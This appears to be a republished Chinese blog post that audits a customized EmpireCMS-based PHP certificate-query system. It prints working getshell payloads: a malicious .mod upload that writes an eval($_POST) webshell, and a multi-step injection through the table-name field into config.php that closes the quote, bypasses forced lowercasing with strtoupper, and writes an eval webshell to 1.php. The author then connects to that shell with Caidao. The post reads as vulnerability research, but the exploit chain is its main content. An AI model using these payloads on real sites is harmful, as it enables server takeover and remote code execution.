代码审计 | Ecms定制版代码审计实战思路分享

该文章来自于

掣雷安全小组

Gr33k


前言

朋友买了一套php源码,要做类似于证书查询的功能,让我帮忙审计一下有没有高危的漏洞,仅挖掘getshell,告知我这个系统是由ecms也就是帝国cms简化来的,仅有后台登录前台查询页面。

直奔主题

一、前台页面,仅有一个查询接口,猜想类似于后台插入数据,前台查询的这种方式。

二、登录后台,发现后台展示的功能十分有限,但是通过源码可以看到很多没有在页面上显示的功能。 后台显示:

php文件:

三、Ecms在之前的版本存在的getshell漏洞并不多,其中有一个是上传mod文件来getshell,为了更快的熟悉这套源码,我先尝试去查看mod文件getshell的具体逻辑,如下:

1、直接访问目标php文件,可以大体了解到该功能其实主要是用来创建数据库模型的:

2、在这里,分析以下代码的具体逻辑,首先可以看到这个表单被提交到了父目录的ecmsmod.php并且传递了为LoadInMod参数。

3、我们在ecmsmod.php中找到了接收请求的代码,从这里可以看出来,我们上传的.mod文件被加载进了LoadInMod这个函数,我们继续跟进。

4、在这里我们先看一下验证的逻辑,首先验证是否有文件上传过来,紧接着验证文件后缀是不是.mod,前面我们说过该功能点实现的就是创建模型,也就是建表,所以又验证了要新建的表的名称是否存在,这些做完以后就开始了文件上传,如下图方框内的内容所示。首先生成了文件上传之后的具体路径,在这里调用了make_password这个函数,是用来返回一个随机数用的,至此文件上传后的名称我们并不可控,紧接着使用move_uploaded_file完成文件上传。

5、我们发现文件上传完成之后,在下面几行出现了@include($path)这段代码,这就是mod文件getshell的主要原因,在path路径下此时已经存在了我们上传的mod文件,在这里竟然使用include来包含这个新生成的文件,那么就算文件名称我们不知道,我们也可以执行想要执行的php代码,构造mod文件如下:

<?fputs(fopen("c.php","w"),"<?eval(\$_POST[cmd]);?>")?>

执行完毕后,将在该目录下生成c.php直接访问即可getshell

四、经过一番熟悉,我们发现这套php代码的逻辑还是十分清晰的,虽然是经过阉割的ecms,但是保留了老版本的php问题代码,也许这套源码在ecms没有爆出这个漏洞时写的,那么看完了曾经的一个getshell漏洞后,接下来就需要再自己去挖掘这个cms没有被别人发现的漏洞(算个小0day,毕竟小众)。

五、我在阅读代码时对config.php这个文件十分感兴趣,它的文件结构大体是这样的:

我们可以看出其实这个文件中主要保存的就是一些变量的值,其中有我们非常感兴趣的东西,就是文件上传类型写死在这里了,后台的设置允许上传类型并不生效,开发者为了保证安全就在这里写死了,若是能覆盖对应的变量就可以上传php,这是一个思路。

六、模型,在ecms里通过之前对代码的熟悉,所谓的证书查询其实就是对一个表里的数据进行查询,后台可以定义新的表结构并且可以建表插数据进去,这样前台就可以查询到,这就是这个平台的核心功能,我浏览了许多关于模型相关的代码,终于被我找到了从来没有人发现的getshell方式。

七、首先经过一番思考,思路比较明确,就是看能不能操作config.php这个配置文件,我先看到AddClass.php这个文件,打开页面显示:

这里可以新建一个栏目进去,我随意输入11111111111111,然后添加成功,这时我利用审计工具搜索到了这个字符串已经被我写入到了文件中,可以看到在下面的这两个文件中,都出现了对应的字符串,有戏!。

八、我们进入config.php进行查看:

我们输入的字符串被写入到了这个位置,那么要想执行php代码我们首先要将单引号闭合掉,我尝试来关闭单引号,但是失败了,单引号被转义了。

九、既然单引号被转义了那么就不能执行php代码,具体的代码逻辑我也查看过了,是没有办法绕过,既然如此我们就换个位置继续尝试,这次,惊喜来了。

我找到的功能点是新建数据表这个功能,这个位置并没有对单引号等特殊符号进行过滤,插入效果如下。

可以看到后面的语法已经被完全破坏掉了,我们输入的特殊符号也被插入到了config.php文件中,现在看到这个状况就是上头,要写一句话php上去,但是问题来了,当我写入了一句话php的时候,我的大写的POST竟然变成了小写,在php语法中$_POST获取参数必须要大写,而且我又发现了一个问题,那就是直接访问config.php下面的代码是不会被执行的,因为在文件开头判断了一个参数是否有定义,注定只能被包含。

十、我们查看具体的逻辑:

发现还是之前访问的文件,不过这次走的逻辑是AddTable

我们继续跟进函数,在这里我们看到了罪魁祸首,这个函数将我们的输入转换成了小写,导致我们的$_POST变成了小写。

再向下看,我发现了一个更奇怪的现象,这里有两条sql语句,但是我们的输入中带有引号,他们竟然不报错。

经过了解,是因为当前我的php版本为5.2(PHP 5.4 之前 PHP 指令 magic_quotes_gpc默认是on, 实际上所有的GET、POST 和 COOKIE 数据都用被 addslashes() 了。),从而其中的引号已经被转义,所以数据库语句不会报错,那么又一个问题出现了,为何我们插入到config.php的内容却是没有被转义的呢?我们继续看代码逻辑。

这两个函数的功能很明显,第一个是建表,第二个更新缓存就是向config.php中写文件。我们先来看第一个函数:

包含的这个文件里就是创建数据表的sql语句:

没有什么特别的地方,在这里如果没错新建的数据表中的单引号都是被转义的,结果也证实了我的猜想,所有的表名中的单引号都被转义了。

来看第二个函数GetConfig:

这里在生成配置文件时,是分段生成的,从config文件的结构也能看出来,它是使用//--内容省略--//来分割的,我们的文本插入的位置在$r[2]这个位置,我们继续跟进:

我们最终找到了生成插入语句的位置,它将tbname从一个表中取出完成拼接字符串后,然后返回上层函数便插入了config.php中,那么tbname是怎样插入到这个表当中的呢?为什么从这个表中取出的tbname单引号没有被转义呢?,回到刚刚有两条sql语句的位置,其中一条是查询表是否已经存在,另一个语句就是插入数据到这个enewstable表,再放一次图:

开始我还很疑惑,转义符号为什么没有了,后来也就想明白了,转义毕竟是为了让数据库识别应该正确显示的字符,我还特意用mysql实验了一把,如图:

从而这个表中存储的数据都是没有转义的单引号:

这样一来,就完成了一次代码的回溯,找到了为何能写入config.php的原因。

十一、理一下思路,现在我们是可以向config.php写入字符,并且可以闭合单引号,但是有一个转小写的函数,这里还有一个问题但是我当时没有考虑到,那就是mysql的最大表名长度为64位,这导致了我一度以为是某段php代码做的限制,但是后来我并没有发现,才想到会不会是表名长度的原因。

十二、虽然有一些条件限制,但是还是可以写shell的,php中有一个转大写的函数,在这里就派上用场了,因为有长度限制,最后我生成的payload如下:

十三、开始写入: 1、

123']=1 ?>

这条语句是为了闭合前面的语句,从而逃出前面的php标签,执行后config文件如下:

可以看到我们已经成功闭合掉了标签,此时我们的页面显示也变的十分糟糕:

2、插入剩下的代码

<?php $a = '<?php @eval($_' ?>
<?php $b=strtoupper('post') ?>
<?php $c='["cmd"]);?>'?>
<?php $d=$a.$b.$c?>
<?php fputs(fopen('1.php','w'),$d);?>
<?php phpinfo();?>

最后这条语句是检测我们的代码究竟有没有执行成功,若是成功phpinfo就会显示出来,另外config文件不能直接访问来触发,需要点击别的功能使它被包含才会执行其中的代码。

执行成功,我们可以看到,在当前目录下生成了1.php文件:

使用菜刀连接,getshell:

十四、这是一个之前没有被发现的getshell漏洞,当然时过境迁ecms的最新版本的代码已经不是这个样子了,只能说这个漏洞在这个定制化查询系统中还存在,或许还有一些我也没有找到的漏洞,但是就这样吧,之前的getshell加上这个。


觉得好看别忘了给点个在看哦


本文分享自微信公众号 - 小白帽学习之路(bat7089)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏wordpress建站吧

Wordpress建站:如何在自己电脑上本地环境搭建wordpress网站?

wordpress网站需要的运行环境是lamp或者是lnmp的,我们可以在本地的电脑上安装一个环境包,WampServer。WampServer就是Window...

16030
来自专栏养码场

谷歌员工中位数年薪达 170 万元,却仍买不起房?

今年 3 月,谷歌公司的一份内部文件显示:谷歌在全球的临时工、承包商人数已经超过全职员工,分别为 12.1 万人和 10.2 万人,临时工还比正式员工多 2 万...

14220
来自专栏玩转JavaEE

程序员必备 GitHub 使用技巧

GitHub Pages大家可能都知道,常用的做法,是建立一个gh-pages的分支,通过setting里的设置的GitHub Pages模块可以自动创建该项目...

9720
来自专栏PHP饭米粒

Swoft 2.0.3 重大更新,发布优雅的微服务治理

Swoft 是一款基于 Swoole 扩展实现的 PHP 微服务协程框架。Swoft 能像 Go 一样,内置协程网络服务器及常用的协程客户端且常驻内存,不依赖传...

11920
来自专栏wordpress建站吧

Wordpress建站:插件主题安装时遭遇服务器上传大小限制怎么办?

我们用wordpress建站尤其很多时候在购买的虚拟主机的情况下,会经常遇到在wp后台上传主题安装包的时候,因为压缩包文件太大了无法上传成功的问题,那么一般遇到...

15120
来自专栏萝卜大杂烩

豆瓣的最受欢迎影评,到底是怎么回事

前两天逛豆瓣,发现有些影评确实精彩,但是有些就。。。于是乎,就简单的爬了下豆瓣最受欢迎的影评,来看看受欢迎的影评都是何方大神写的。

11510
来自专栏萝卜大杂烩

爬取豆瓣海王评论

https://movie.douban.com/subject/3878007/comments?start=0&limit=20&sort=new_scor...

9720
来自专栏萝卜大杂烩

把英雄分类,看 Python 带你上王者

王者荣耀这么久了,还没上王者?哈哈哈,看过来,是不是对英雄理解的不够透彻呢,是不是还没有很好的为英雄分类呢,今天就来看看英雄分类

7220
来自专栏Java架构沉思录

Guava的布隆过滤器原来是这么回事儿

程序世界的算法都要在时间,资源占用甚至正确率等多种因素间进行平衡。同样的问题,所属的量级或场景不同,所用算法也会不同,其中也会涉及很多的trade-of...

24520
来自专栏萝卜大杂烩

从头搭建一个flask鉴权系统之注册

因为当用户注册时,可能会涉及到给用户发送邮件,所以这里先写一个发送Email的小工具。 直接使用Python自带的smtplib库和email库,我这里使用的是...

16320

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励